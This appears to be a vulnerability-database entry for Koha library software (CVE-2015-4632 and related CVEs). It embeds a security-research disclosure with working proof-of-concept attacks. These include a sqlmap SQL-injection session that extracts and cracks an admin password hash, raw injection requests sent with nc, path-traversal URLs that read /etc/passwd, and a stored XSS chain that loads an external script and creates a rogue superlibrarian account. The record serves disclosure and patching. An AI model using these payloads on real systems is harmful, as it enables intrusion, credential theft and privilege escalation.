ID

VAR-201810-0025

CVE

CVE-2015-4632

TITLE

Koha Path traversal vulnerability

DESCRIPTION

Multiple directory traversal vulnerabilities in Koha 3.14.x before 3.14.16, 3.16.x before 3.16.12, 3.18.x before 3.18.08, and 3.20.x before 3.20.1 allow remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the template_path parameter to (1) svc/virtualshelves/search or (2) svc/members/search. Koha Contains a path traversal vulnerability.Information may be obtained. Koha is the first open source library automation system. Koha has a SQL injection vulnerability that allows an attacker to exploit a vulnerability to access or modify database data. Koha is prone to the following security vulnerabilities: 1. Multiple SQL-injection vulnerabilities 2. Multiple directory-traversal vulnerabilities 3. Multiple HTML Injection vulnerabilities 4. Multiple cross-site scripting vulnerabilities 5. Multiple cross site request forgery vulnerabilities An attacker may leverage these issues to access or modify data, exploit latent vulnerabilities in the underlying database, read arbitrary files,allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user and to perform unauthorized actions in the context of a logged-in user of the affected application.This may aid in further attacks. =============================================================================================== SBA Research Vulnerability Disclosure  =============================================================================================== title: Koha Unauthenticated SQL injection product:         Koha ILS affected version: 3.20.x <= 3.20.1, 3.18.x <= 3.18.8, 3.16.x <= 3.16.12 fixed version: 3.20.1, 3.17.8, 3.16.12 CVE numbers: CVE-2015-4633, CVE-2015-4632, CVE-2015-4631 impact: critical website:         http://www.koha-community.org/ found by:         Raschin Tavakoli / SBA Research Combinatorial Security Testing Group contact:         cst@sba-research.org References: http://koha-community.org/security-release-koha-3-20-1/         http://koha-community.org/security-release-koha-3-18-8/         http://koha-community.org/security-release-koha-3-16-12/         http://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14412         http://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14408         http://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14426         http://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14416         http://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14418         ​http://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14423 =============================================================================================== ========================= 1. Mutiple SQL Injections ========================= + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + a) Unauthenticated SQL Injection in OPAC interface (CVE-2015-4633)   + + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + Vulnerability: -------------- The url parameter 'number' in /cgi-bin/koha/opac-tags_subject.pl is vulnerable to SQLI. If the webserver is misconfigured, the file-system may be accessed as well. References: ----------- http://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14412 # ################################################################################################## # # PoC:     # # ################################################################################################## # 1. Inspect Koha database schema    Have a look at how to query the database for superlibrarian users:    http://wiki.koha-community.org/wiki/SQL_Reports_Library#Superlibrarians    So basically we we need to execute some SQL statement like this:    sql-shell> select userid, password from borrowers where flags=1 and password is not null order by borrowernumber desc limit 1; 2. Query the database with sqlmap    So let's fire up sqlmap with the --sql-shell parameter and input the query:    root@kali:/home/wicked# sqlmap -u http://testbox:9001/cgi-bin/koha/opac-tags_subject.pl?number=10 -p number --technique=T --dbms=MySQL --sql-shell --time-sec=4          _     ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150513}    |_ -| . | |     | .'| . |    |___|_  |_|_|_|_|__,|  _|          |_|           |_|   http://sqlmap.org    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program    [*] starting at 09:20:07    [09:20:07] [INFO] testing connection to the target URL    sqlmap identified the following injection points with a total of 0 HTTP(s) requests:    ---    Parameter: number (GET)        Type: AND/OR time-based blind        Title: MySQL >= 5.1 time-based blind - PROCEDURE ANALYSE (EXTRACTVALUE)        Payload: number=1 PROCEDURE ANALYSE(EXTRACTVALUE(9743,CONCAT(0x5c,(BENCHMARK(4000000,MD5(0x4b754a4b))))),1)    ---    [09:20:09] [INFO] testing MySQL    [09:20:09] [INFO] confirming MySQL    [09:20:09] [INFO] the back-end DBMS is MySQL    web server operating system: Linux Debian    web application technology: Apache 2.4.10    back-end DBMS: MySQL >= 5.0.0    [09:20:09] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER    sql-shell> select userid, password from borrowers where flags=1 and password is not null order by borrowernumber desc limit 1;    [09:20:25] [INFO] fetching SQL SELECT statement query output: 'select userid, password from borrowers where flags=1 and password is not null order by borrowernumber desc limit 1'    [09:20:25] [INFO] the SQL query provided has more than one field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind    [09:20:25] [WARNING] time-based comparison requires larger statistical model, please wait..............................                                          [09:20:52] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors     admin    [09:21:46] [INFO] retrieved: $2a$08$taQ    [09:23:33] [ERROR] invalid character detected. retrying..    [09:23:33] [WARNING] increasing time delay to 5 seconds     afOgEEhU    [09:25:10] [ERROR] invalid character detected. retrying..    [09:25:10] [WARNING] increasing time delay to 6 seconds     t/gW    [09:26:13] [ERROR] invalid character detected. retrying..    [09:26:13] [WARNING] increasing time delay to 7 seconds     TOmqnYe1Y6ZNxCENa    [09:29:57] [ERROR] invalid character detected. retrying..    [09:29:57] [WARNING] increasing time delay to 8 seconds     2.ONk2eZhnuEw5z9OjjxS    [09:35:08] [ERROR] invalid character detected. retrying..    [09:35:08] [WARNING] increasing time delay to 9 seconds     select userid, password from borrowers where flags=1 and password is not null order by borrowernumber desc limit 1;:        'admin, $2a$08$taQafOgEEhUt/gWTOmqnYe1Y6ZNxCENa2.ONk2eZhnuEw5z9OjjxS' 3. Feed john the ripper and be lucky    root@kali:/home/wicked# echo "$2a$08$taQafOgEEhUt/gWTOmqnYe1Y6ZNxCENa2.ONk2eZhnuEw5z9OjjxS" > ./admin-pass    root@kali:/home/wicked# john ./admin-pass     Loaded 1 password hash (OpenBSD Blowfish [32/64 X2])    admin            (?)    guesses: 1  time: 0:00:00:10 DONE (Thu Jun 25 09:45:41 2015)  c/s: 260  trying: Smokey - allstate    Use the "--show" option to display all of the cracked passwords reliably    root@kali:/home/wicked# john ./admin-pass --show    ?:admin    1 password hash cracked, 0 left 4. If the webserver is misconfigured, read & write access to the filesystem may be possible. References: ----------- http://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14426 # ################################################################################################## # # PoC:     # # ################################################################################################## # ==================================================================== 1. "Criteria" Parameter, Payload: ELT(1=1,'evil') / ELT(1=2,'evil') ==================================================================== echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length: 186\r\n\r\nFilter=P_COM&Filter=&Limit=&output=file&basename=Export&MIME=CSV&sep=%3B&report_name=&do_it=1&userid=<username>&password=<password>&branch=&koha_login_context=intranet&Criteria=ELT(1=2,'evil')" | nc testbox 9002 echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length: 186\r\n\r\nFilter=P_COM&Filter=&Limit=&output=file&basename=Export&MIME=CSV&sep=%3B&report_name=&do_it=1&userid=<username>&password=<password>&branch=&koha_login_context=intranet&Criteria=ELT(1=1,'evil')" | nc testbox 9002 ==================================================================== 2. "Filter" Parameter, Payload: P_COM'+AND+'a'='a / P_COM'+AND+'a'='b ==================================================================== echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length: 183\r\n\r\nkoha_login_context=intranet&Limit=&Criteria=branchcode&output=file&basename=Export&MIME=CSV&sep=;&report_name=&do_it=1&userid=<userid>&password=<password>&branch=&Filter=P_COM'+AND+'a'='a" | nc testbox 9002 echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length: 183\r\n\r\nkoha_login_context=intranet&Limit=&Criteria=branchcode&output=file&basename=Export&MIME=CSV&sep=;&report_name=&do_it=1&userid=<userid>&password=<password>&branch=&Filter=P_COM'+AND+'a'='b" | nc testbox 9002 ==================================================================== You will notice different output in every second request, demonstrating the evaluation of the payload. # ################################################################################################## # # PoC End     # # ################################################################################################## # ================================= 3. References ---------- http://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14408 # ################################################################################################## # # PoC:     # # ################################################################################################## # The following input is used to print out /etc/passwd: /cgi-bin/koha/svc/virtualshelves/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd /cgi-bin/koha/svc/members/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd # ################################################################################################## # # PoC End     # # ################################################################################################## # ================================= 4. The site also lacks in the implementation of challenge tokens that prevent cross-site  forgery (XSRF) attacks.   The attack can be performed by: - through a compromised user account. User/Password retrieval can happen via brute force, sniffing or through SQLI (CVE-2015-4633) - through a user clicking a malicious link (phishing mail, forum link etc.) The following pages are affected from stored XSS flaws: /cgi-bin/koha/opac-shelves.pl /cgi-bin/koha/virtualshelves/shelves.pl The following pages are affected from relfective XSS flaws: /cgi-bin/koha/opac-shelves.pl (parameters: "direction", "display") /cgi-bin/koha/opac-search.pl (parameters: "tag") /cgi-bin/koha/authorities/authorities-home.pl (parameters: "value")  /cgi-bin/koha/acqui/lateorders.pl (parameters: "delay") /cgi-bin/koha/admin/auth_subfields_structure.pl (parameters: "authtypecode","tagfield") /cgi-bin/koha/admin/marc_subfields_structure.pl (parameters: "tagfield") /cgi-bin/koha/catalogue/search.pl (parameters: "limit") /cgi-bin/koha/serials/serials-search.pl (parameters: "bookseller_filter", "callnumber_filter", "EAN_filter", "ISSN_filter", "publisher_filter", "title_filter")  /cgi-bin/koha/suggestion/suggestion.pl (parameters: "author", "collectiontitle", "copyrightdate", "isbn", "manageddate_from", "manageddate_to", "publishercode", "suggesteddate_from", "suggesteddate_to") Impact ---------- The vulnerabilites allow remote attackers to inject arbitrary web script or HTML in order to: - escalate privileges by targeting staff members with XSRF  - target users via browser exploits - target the webserver by combining with other server-side vulnerabilities.   References ---------------- http://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14416 http://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14423 http://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14418 # ################################################################################################## # # PoC / Attack Scenario:     # # ################################################################################################## # Alice, a student with restricted permissions on the system, receives a phishing mail (or reads in some forum) and clicks the following link: --> http://<opac-interface>/cgi-bin/koha/opac-shelves.pl?shelves=1&addshelf=Malicious+Input+<script+src='http://cst.sba-research.org/x.js'/>&sortfield=title&category=2&allow_add=0&allow_delete_own=1&allow_delete_other=0 Bob, library admin, recognizes the new malicious list entry. He logs into the staff area and browses the public lists in order to delete the entry. Once he opens  --> http://<staff-interface>/cgi-bin/koha/virtualshelves/shelves.pl the malcious code get's executed. The code can then perform any unauthorized actions with the pemissions of user bob. For example: Create new user: ----------------------- --> http://testbox:9002/cgi-bin/koha/members/memberentry.pl?nodouble=&destination=&check_member=&borrowernumber=&nodouble=&title=&firstname=&othernames=&sex=&streetnumber=&streettype=&address2=&city=&state=&zipcode=&country=&phone=&phonepro=&mobile=&email=&emailpro=&fax=&B_address=&B_address2=&B_city=&B_state=&B_zipcode=&B_country=&B_phone=&B_email=&contactnote=&altcontactsurname=&altcontactfirstname=&altcontactaddress1=&altcontactaddress2=&altcontactaddress3=&altcontactstate=&altcontactzipcode=&altcontactcountry=&altcontactphone=&sort1=&sort2=&dateexpiry=&opacnote=&borrowernotes=&patron_attr_1=&BorrowerMandatoryField=surname%7Cdateofbirth%7Ccardnumber%7Caddress&category_type=A&updtype=I&op=insert&surname=hacker&dateofbirth=10%2F06%2F2000&address=fictional&select_city=%7C%7C%7C&cardnumber=9182734629182364&branchcode=MAURES&categorycode=P_COM&dateenrolled=24%2F06%2F2015&userid=hacker&password=hacker&password2=hacker&patron_attr_1_code=PROFESSION&setting_messaging_prefs=1&modify=yes&borrowernumber=&save=Save&setting_extended_patron_attributes=1 Give the new user superlibririan permission: ---------------------------------------------------------- --> http://testbox:9002/testbox:9002/cgi-bin/koha/members/member-flags.pl?member=7855&newflags=1&flag=superlibrarian The attacker can now log as superlibrarian. Side Note: In order to make the attack work, alice needs to be logged in to the Open Public Catalog interface at the time of when clicking the malicious link. Alice needs to have access to the OPAC interface and to have permissions to create public lists. # ################################################################################################## # # PoC / Attack Scenario End     # # ################################################################################################## #

IOT TAXONOMY

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

path traversal

CONFIGURATIONS

EXPLOIT AVAILABILITY

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Raschin Ghanad-Tavakoli

SOURCES

LAST UPDATE DATE

2024-11-23T21:52:48.381000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE